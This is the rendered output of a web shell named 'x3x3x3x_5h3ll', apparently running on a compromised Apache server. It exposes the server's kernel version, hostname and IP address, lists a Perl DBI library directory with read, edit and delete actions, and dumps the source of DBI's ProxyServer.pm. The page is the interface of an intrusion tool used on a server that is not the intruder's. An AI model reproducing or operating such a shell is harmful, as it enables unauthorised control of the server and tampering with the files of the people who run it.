x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/perl5/vendor_perl/DBI/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
Const dir drwxr-xr-x 2023-04-05 00:01 R D
DBD dir drwxr-xr-x 2023-04-05 00:01 R D
Gofer dir drwxr-xr-x 2023-04-05 00:01 R D
ProfileDumper dir drwxr-xr-x 2023-04-05 00:01 R D
SQL dir drwxr-xr-x 2023-04-05 00:01 R D
Util dir drwxr-xr-x 2023-04-05 00:01 R D
Changes.pm 111.055 KB -rw-r--r-- 2014-06-10 01:06 R E G D
DBD.pm 122.994 KB -rw-r--r-- 2013-04-04 22:17 R E G D
FAQ.pm 34.378 KB -rw-r--r-- 2013-04-04 22:17 R E G D
Profile.pm 31.747 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileData.pm 19.633 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileDumper.pm 10.187 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProfileSubs.pm 1.18 KB -rw-r--r-- 2013-04-04 22:17 R E G D
ProxyServer.pm 25.84 KB -rw-r--r-- 2014-06-10 01:06 R E G D
PurePerl.pm 37.038 KB -rw-r--r-- 2013-04-04 22:17 R E G D
REQUEST EXIT
# $Header: /home/timbo/dbi/lib/DBI/RCS/ProxyServer.pm,v 11.9 2003/05/14 11:08:17 timbo Exp $ # -*- perl -*- # # DBI::ProxyServer - a proxy server for DBI drivers # # Copyright (c) 1997 Jochen Wiedmann # # The DBD::Proxy module is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. In particular permission # is granted to Tim Bunce for distributing this as a part of the DBI. # # # Author: Jochen Wiedmann # Am Eisteich 9 # 72555 Metzingen # Germany # # Email: joe@ispsoft.de # Phone: +49 7123 14881 # # ############################################################################## require 5.004; use strict; use RPC::PlServer 0.2001; require DBI; require Config; package DBI::ProxyServer; ############################################################################ # # Constants # ############################################################################ use vars qw($VERSION @ISA); $VERSION = "0.3005"; @ISA = qw(RPC::PlServer DBI); # Most of the options below are set to default values, we note them here # just for the sake of documentation. my %DEFAULT_SERVER_OPTIONS; { my $o = \%DEFAULT_SERVER_OPTIONS; $o->{'chroot'} = undef, # To be used in the initfile, # after loading the required # DBI drivers. $o->{'clients'} = [ { 'mask' => '.*', 'accept' => 1, 'cipher' => undef } ]; $o->{'configfile'} = '/etc/dbiproxy.conf' if -f '/etc/dbiproxy.conf'; $o->{'debug'} = 0; $o->{'facility'} = 'daemon'; $o->{'group'} = undef; $o->{'localaddr'} = undef; # Bind to any local IP number $o->{'localport'} = undef; # Must set port number on the # command line. $o->{'logfile'} = undef; # Use syslog or EventLog. # XXX don't restrict methods that can be called (trust users once connected) $o->{'XXX_methods'} = { 'DBI::ProxyServer' => { 'Version' => 1, 'NewHandle' => 1, 'CallMethod' => 1, 'DestroyHandle' => 1 }, 'DBI::ProxyServer::db' => { 'prepare' => 1, 'commit' => 1, 'rollback' => 1, 'STORE' => 1, 'FETCH' => 1, 'func' => 1, 'quote' => 1, 'type_info_all' => 1, 'table_info' => 1, 'disconnect' => 1, }, 'DBI::ProxyServer::st' => { 'execute' => 1, 'STORE' => 1, 'FETCH' => 1, 'func' => 1, 'fetch' => 1, 'finish' => 1 } }; if ($Config::Config{'usethreads'} eq 'define') { $o->{'mode'} = 'threads'; } elsif ($Config::Config{'d_fork'} eq 'define') { $o->{'mode'} = 'fork'; } else { $o->{'mode'} = 'single'; } # No pidfile by default, configuration must provide one if needed $o->{'pidfile'} = 'none'; $o->{'user'} = undef; }; ############################################################################ # # Name: Version # # Purpose: Return version string # # Inputs: $class - This class # # Result: Version string; suitable for printing by "--version" # ############################################################################ sub Version { my $version = $DBI::ProxyServer::VERSION; "DBI::ProxyServer $version, Copyright (C) 1998, Jochen Wiedmann"; } ############################################################################ # # Name: AcceptApplication # # Purpose: Verify DBI DSN # # Inputs: $self - This instance # $dsn - DBI dsn # # Returns: TRUE for a valid DSN, FALSE otherwise # ############################################################################ sub AcceptApplication { my $self = shift; my $dsn = shift; $dsn =~ /^dbi:\w+:/i; } ############################################################################ # # Name: AcceptVersion # # Purpose: Verify requested DBI version # # Inputs: $self - Instance # $version - DBI version being requested # # Returns: TRUE for ok, FALSE otherwise # ############################################################################ sub AcceptVersion { my $self = shift; my $version = shift; require DBI; DBI::ProxyServer->init_rootclass(); $DBI::VERSION >= $version; } ############################################################################ # # Name: AcceptUser # # Purpose: Verify user and password by connecting to the client and # creating a database connection # # Inputs: $self - Instance # $user - User name # $password - Password # ############################################################################ sub AcceptUser { my $self = shift; my $user = shift; my $password = shift; return 0 if (!$self->SUPER::AcceptUser($user, $password)); my $dsn = $self->{'application'}; $self->Debug("Connecting to $dsn as $user"); local $ENV{DBI_AUTOPROXY} = ''; # :-) $self->{'dbh'} = eval { DBI::ProxyServer->connect($dsn, $user, $password, { 'PrintError' => 0, 'Warn' => 0, 'RaiseError' => 1, 'HandleError' => sub { my $err = $_[1]->err; my $state = $_[1]->state || ''; $_[0] .= " [err=$err,state=$state]"; return 0; } }) }; if ($@) { $self->Error("Error while connecting to $dsn as $user: $@"); return 0; } [1, $self->StoreHandle($self->{'dbh'}) ]; } sub CallMethod { my $server = shift; my $dbh = $server->{'dbh'}; # We could store the private_server attribute permanently in # $dbh. However, we'd have a reference loop in that case and # I would be concerned about garbage collection. :-( $dbh->{'private_server'} = $server; $server->Debug("CallMethod: => " . do { local $^W; join(",", @_)}); my @result = eval { $server->SUPER::CallMethod(@_) }; my $msg = $@; undef $dbh->{'private_server'}; if ($msg) { $server->Debug("CallMethod died with: $@"); die $msg; } else { $server->Debug("CallMethod: <= " . do { local $^W; join(",", @result) }); } @result; } sub main { my $server = DBI::ProxyServer->new(\%DEFAULT_SERVER_OPTIONS, \@_); $server->Bind(); } ############################################################################ # # The DBI part of the proxyserver is implemented as a DBI subclass. # Thus we can reuse some of the DBI methods and overwrite only # those that need additional handling. # ############################################################################ package DBI::ProxyServer::dr; @DBI::ProxyServer::dr::ISA = qw(DBI::dr); package DBI::ProxyServer::db; @DBI::ProxyServer::db::ISA = qw(DBI::db); sub prepare { my($dbh, $statement, $attr, $params, $proto_ver) = @_; my $server = $dbh->{'private_server'}; if (my $client = $server->{'client'}) { if ($client->{'sql'}) { if ($statement =~ /^\s*(\S+)/) { my $st = $1; if (!($statement = $client->{'sql'}->{$st})) { die "Unknown SQL query: $st"; } } else { die "Cannot parse restricted SQL statement: $statement"; } } } my $sth = $dbh->SUPER::prepare($statement, $attr); my $handle = $server->StoreHandle($sth); if ( $proto_ver and $proto_ver > 1 ) { $sth->{private_proxyserver_described} = 0; return $handle; } else { # The difference between the usual prepare and ours is that we implement # a combined prepare/execute. The DBD::Proxy driver doesn't call us for # prepare. Only if an execute happens, then we are called with method # "prepare". Further execute's are called as "execute". my @result = $sth->execute($params); my ($NAME, $TYPE); my $NUM_OF_FIELDS = $sth->{NUM_OF_FIELDS}; if ($NUM_OF_FIELDS) { # is a SELECT $NAME = $sth->{NAME}; $TYPE = $sth->{TYPE}; } ($handle, $NUM_OF_FIELDS, $sth->{'NUM_OF_PARAMS'}, $NAME, $TYPE, @result); } } sub table_info { my $dbh = shift; my $sth = $dbh->SUPE